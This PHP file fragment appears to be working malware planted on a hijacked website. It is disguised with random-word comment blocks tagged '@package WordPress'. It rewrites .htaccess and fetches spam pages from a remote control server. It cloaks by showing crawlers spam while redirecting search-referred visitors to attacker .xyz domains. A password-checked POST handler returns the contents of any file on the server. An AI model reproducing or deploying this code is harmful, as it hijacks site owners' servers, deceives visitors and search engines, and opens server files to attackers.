if($bgNum > FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '#<map>(.*)</map>#si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(strstr($mapLogs,'#sitemap' . $arrABC[$gnumber-1] .'.xml#') && file_exists('../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml')){
echo $vals."<br/>";
echo '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml successed<br/>';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j<count($tpArr); $j++){
$tpstr .= $tpArr[$j] . ' ';
}
$tpstr = trim($tpstr);
$arrIdNameNow[$tpArr[0]] = $tpstr;
}
}
break;
}
}
if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
echo "g sitemap fail<br/>";
die();
}
echo $vals."<br/>";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1); }else{
gsitemap($arrIdNameNow,1,2); }
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
$rsut = ''.PHP_EOL .'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-]'.'(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. '.*'.BZCAT.'/(.*)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
if(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r2='#-(\d+)'. JTHZ .'$#i'; $r3='#[-/]' .'(\d+)[-/]$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
@touch(dirname($logFileName), $fLogTime, $fLogTime);
@touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "639027"; //llq index id
}
}
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
exit;
}
$id23 = $id;
$numArr_key = count($arr_key);
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com.hk";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = @gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";
$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
for($i=0;$i<2;$i++){
$domJump = curl_getjs_from_webpage($jumDom1,2);
$domJump = trim($domJump);
if(!preg_match($rsdom,$domJump)){
$domJump = curl_getjs_from_webpage($jumDom2,10);
$domJump = trim($domJump);
if(preg_match($rsdom,$domJump))
break;
}else{
break;
}
}
echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
}
}
$fcontent = '';
$pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rsInfo = '#<info>(.*)</info>#si';
preg_match($rsInfo,$pInfoStr,$matchInfo);
if(isset($matchInfo[1])){
$InFoStrArr = unserialize($matchInfo[1]);
}else{
header("HTTP/1.1 404 Not Found");exit;
}
if(isset($InFoStrArr['frStr2'])){
$frStr2 = $InFoStrArr['frStr2'];
$fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$nowIdName = $InFoStrArr['nowIdName'];
$Article = $InFoStrArr['Article'];
$pcatstr = $InFoStrArr['pcatstr'];
if(strstr($pcatstr,'#cname#')){
$temparrI = explode('#cname#',$pcatstr);
$catStr = $temparrI[0];
$catArr = explode('^',$catStr);
$tparrCat = array();
$catArrII = array();
foreach($catArr as $vs){
$vs = str_replace('&','&',$vs);
if(!isset($tparrCat[$vs])){
$tparrCat[$vs] = 1;
$catArrII[] = $vs;
}
}
$catArr = $catArrII;
$mateStr = $temparrI[1];
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = trim($temparrII[0]);
if(!$pkeyword){
$pkeyword = $Ptitle;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}else{
$catArr = array();
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = $temparrII[0];
if(!$pkeyword){
$pkeyword = $Ptitle;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowIdName. ' ' .$Ptitle;
}
}
$BreadStr = getBreadcrum($Ptitle,$catArr);
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$Article = str_replace('#ttlink#',$thisTitleLink,$Article);
$Article = str_replace('#mylink#',$thisPnameLink2,$Article);
$artArr = explode('#fgfgfg#',$Article);
// print_r($artArr);
if(count($artArr) != 3){
header("HTTP/1.1 404 Not Found");exit;
}
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr1Strs .= '</ul>'.PHP_EOL;
if(isset($fr2Arr)){
$fr2Strs = '<ul>'.PHP_EOL;
foreach($fr2Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr2Strs .= '</ul>'.PHP_EOL;
}
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$fileMb = fopen("moban.html","r");
$html = fread($fileMb,filesize("moban.html"));
$html = str_ireplace('#bbbtitsbbb#', $Ptitle. " {$thisdom}", $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription. ' ' .$Ptitle, $html);
$html = str_ireplace('#bbb1content1bbb#', $BreadStr . PHP_EOL .'<div>'.$artArr[0].'</div>', $html);
$html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
$html = str_ireplace('#descontent#', $artArr[2], $html);
$html = str_replace('#link1#',$thisPnameLink,$html);
$html = str_replace('#link2#','',$html);
$html = str_replace('#link3#',$thisPnameLink,$html);
$html = str_replace('#link4#','',$html);
$html = str_replace('#link5#',$thisPnameLink,$html);
$html = str_replace('#flink#',$fr1Strs,$html);
$html = str_replace('#Flink2#','',$html);
echo $html;
die();
/**
* deposit emphasize ingredient marveous maximum relevant restrict urgent wonder.
* adopt derive echo entitle exterior hollow moisture noticeable prevail relevant ruin shallow simplicity slender spur subsequent.
* Internet comedy delay expensive extent stuff whatsoever.
* accomplish exclude hollow infect missile necessity nuisance prevail seminar split stable trial.
* absolute breadth competent durable gear interpret kneel lean leap leather reputation scan semester significance simplicity substance tendency vehicle.
* acid evil exclaim exclusive excursion expenditure garbage infant liberty moral optimistic radiation spit vacant valley variable vertical vessel video vocabulary.
* abundant code equation passion prompt prosperity spot tender universe vertical.
* advertisement applicant arbitrary bachelor burst cancel cargo explode explosive joint marine motivate necessity onion outstanding phenomenon prospect quotation scan spray tendency timber tissue tuition wonder.
* battery chaos comparative decade discount durable episode exaggerate exclusive extinct hardware horror identify jail liter sequence thrust universal.
* approach career ceremony cope deserve exceed female grant inhabitant naval phenomenon portion presumably retail ridge sequence strategy trap.
* campus coach dash distinguish entry equation evaluate highlight jealous tension weave.
* balcony encounter exclusive favorable genuine household media missile petrol sensible urban vote.
* estimate export fatal index manual molecule precaution quit satellite shift sketch slide substantial vibrate virtual.
* alcohol appetite aspect awkward clue equation frustrate medium optional region the.
* avenue deserve equivalent excursion expand gesture label origin priority promote reinforce semiconductor seminar sketch splendid substance triangle undergraduate vessel volcano voluntary wagon wealthy.
* abundant applicable column exceedingly grant insignificant shrink suspicious vehicle.
* academic acquire alcohol column conquer guilty impose personal reject utilify.
* alter community consume decent elbow episode grand internal kneel label motive orchestra participate prospect reject reliable terminal unique weed.
* competent naked principle textile.
* durable gallery hardware integrate semester wander.
* appeal appreciate essential expend facility lean lest mainland marveous merchant notion obscure partial resume tense urban violent virtual.
* attach isolate reluctant variation.
* auxiliary calendar derive display mood survey virtual volume.
* applianc cancel germ guarantee junior mild mist omit oxygen stuff survey tedious tremendous.
* academy alter architecture authority brake constant exaggerate extent index issue moist negative nucleus particle scandal vivid wagon.
* elaborate fatigue fax triangle witness.
* awkward calendar competent discipline enclose exclaim haste loosen lynar orient oval portable route trace.
* adult coach coarse gesture jeans slide tender.
* applicable capture comparable distribute evil flash index maintain motive origin petrol petroleum priority reject spot timber.
* career infinite principle pursue tissue weed.
* attitude release vessel weave.
* adequate advertise audio beforehand bother capture casual catalog coach delicate deserve durable entitle female ferfile flexible glimpse liter numerrous pants retain vacuum withdraw.
* arouse aspect available barrel comparative dusk grand hostile impose incident lynar manufacture mere mixture range religious retail shiver slender triumph vibrate wax withdraw.
* response adjust automatic comparative decorate deserve infant interpretation jam nucleus prior radical religion rescue shiver stuff subway vessel weave.
* attach domestic estimate extent generate haste index ingredient jealous liquor luxury medium mist offend outset partial particularly personal spur tense theme undergo utilise valley yawn.
*
* @package WordPress
*/
function getBreadcrum($Ptitle,$catArr){
global $arrBread,$thisdom;
$breadTagkey = KEYJG % 4;
if($breadTagkey == 0){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ul';
}elseif($breadTagkey == 1){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 2){
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ol';
}else{
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ul';
}
$arrBreadNum = count($arrBread);
$domlen = strlen($thisdom);
$breadTagkey = $domlen % 5;
$strBreads = '';
if($breadTagkey == 4){
$strBreads .= '<'.$breadTagHtml1.' class="Breadcrumbs">';
$strBreads .= '<'.$breadTagHtml2.'>';
$strBreads .= '<li><a href="/">Home</a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs);
$strBreads .= '<li><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
}
}
$strBreads .= '<li>'.$Ptitle.'</li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
$calssBreadKey = KEYJG % $arrBreadNum;
$classTop = $arrBread[$calssBreadKey];
$classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
$breadTagkey = $domlen % 2;
if($breadTagkey == 0){
if($classTop)
$strBreads .= '<'.$breadTagHtml1.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
$flagNum = 2;
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs);
$strBreads .= '<li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
$flagNum++;
}
}
$strBreads .= '<li itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
if($classTop)
$strBreads .= '<'.$breadTagHtml1.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs);
$strBreads .= '<li itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
}
}
$strBreads .= '<li><strong>'.$Ptitle.'</strong></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}
}
return $strBreads;
}
function getCatLink($CatName){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{
$filePres = $siteLink."/"; }
$CatName = str_replace('&',' ',$CatName);
$CatName = str_replace('&',' ',$CatName);
if(JDT == 3){
$CatName = preg_replace('#\s+#i','-',$CatName);
while(strstr($CatName,'--'))
$CatName = str_replace('--','-',$CatName);
$linkCenter = $CatName;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
$CatName = preg_replace('#\s+#i','-',$CatName);
$CatName = str_replace('--','-',$CatName);
$linkCenter = BZCAT.'/'.str_replace('--','-',$CatName);
$linkCenter .= JTHZ;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function getMapNum($bgNum,$mapnum){
$TempArr = array();
if($bgNum + $mapnum <= FNUM){
for($i=0;$i<$mapnum;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<$mapnum;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandCId($rqurl){
global $thisdom;
for($i=0;$i<3;$i++){
$idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
return $matchId[1];
}
}
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
/**
* adequate advertisement appeal comparative entertainment entitle essential favorite guilty liable numerrous repetition semester sorrow split trap whereas.
* accelerate adhere award hardware recreation tense.
* response bureau catalog chaos coil earthquake enviroment excess facility manufacture negative notify onion region regulate subway vitally weave.
* Internet adhere adopt agency architecture compete delicate distinguish erect explosion faulty favorable lean passport ridid spill subt target temptation violence whatsoever.
* approximate distress earthquake echo explode extraordinary hence humble region.
* adhere biology candidate comparable continuous emotional external favorite garbage glimpse legislation liberty mist nevertheless numerrous region respond temporary triumph violent.
* attitude constant flash frustrate household leap poverty reveal semiconductor sequence subway universe vanish via weed.
* adhere ceremony coil display duration enclose frown glimpse grand interpret lean parade personal relevant retail satellite sequence shrug submerge temptation thrust vague violent.
* academy arouse fax neglect ridiculous secure slip snap spray substance.
* alcohol neglect ridge stimulate.
* ban catalog elaborate ferfile generate hardware pat portion scale shiver violet whatsoever.
* abuse attach biology cancel device durable geography humble idle infinite navigation notion pat security sensitive significance slippery spot the triangle urge victim virtual.
* bachelor bundle comparative decent distinguish enclose evolution incident infect jeans minimum obstacle pat precaution signature.
* burst device garbage modify severe simplicity slender splendid transport via.
* audio burst distribute equivalent evaluate identify liable lynar nucleus oblige semiconductor significance suburb suspicious tendency timber.
* dash forbid integrate licence split.
* academic auxiliary enthusiasm explore faulty grateful hollow mist partial revenue slender stripe urgent vessel vitally wagon wander.
* electron infinite marine marveous particularly previous.
* bargain bureau consume discount domestic fertilizer harmony liable optics oxygen reputation submit title triumph vacant volume.
* jail opportunity prior shift.
* abuse accelerate barrier career code competition consume core mature onion revenue suburb theme vacant vacuum.
* accelerate cliff comparable ferfile nucleus oval poverty profitable region textile venture.
* Internet algebra breed gallon secure.
* appoint coach deserve durable explosive flee legislation motive outset vanish volume.
* response compete emotion emphasize episode illusion liquor mere prospect recreation recruit slide tarnest territory utilify weave.
* bargain comparative competition facility flash guarantee maximum mist principal strategic subsequent tendency title universal vanish.
* accomplish adopt apparent auxiliary aware awkward electron exclude grand horror illusion luxury resistant shrink simplicity tension volcano volunteer waist.
* acquire decade deposit discount emphasize external liberty merchant provision pursue region release simplicity vain.
*
* @package WordPress
*/
function getRandId(){
$num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
function get_arrvs($arr,$num,$nowkey){
$numArr = count($arr);
if($nowkey + $num < $numArr)
return $arr[$nowkey + $num]; else{
if($nowkey + $num - $numArr - $numArr > 0)
return get_arrvs($arr,$num - $numArr,$nowkey); else
return $arr[abs($nowkey + $num - $numArr)]; }
}
function get_pre_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr);
if($key + JGNUM + 1 + LINKNUM >= $num){
if($key + JGNUM + 1 - $num > LINKNUM){
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
return array_merge($tmpA1,$tmpA2); }
}else{
return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
}
function get_next_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
$duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
}
function rFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function gsitemap2($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
$filePres = ''; }
if(JDT == 3){
$fileEnds = ''; }else{
$fileEnds = JTHZ; }
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = "";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return; }
$str .= " <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
$star++; $starPri++; }
}
{
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#sitemap' . $arrABC[$gnumber-1] .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames);
echo "sitemap";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = " <url>
<loc>" . $siteLink . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
if($star % 12000==11999){
$gFile = '../sitemap/sitemap' . $arrABC[$gnumber-1] .'.xml'; echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
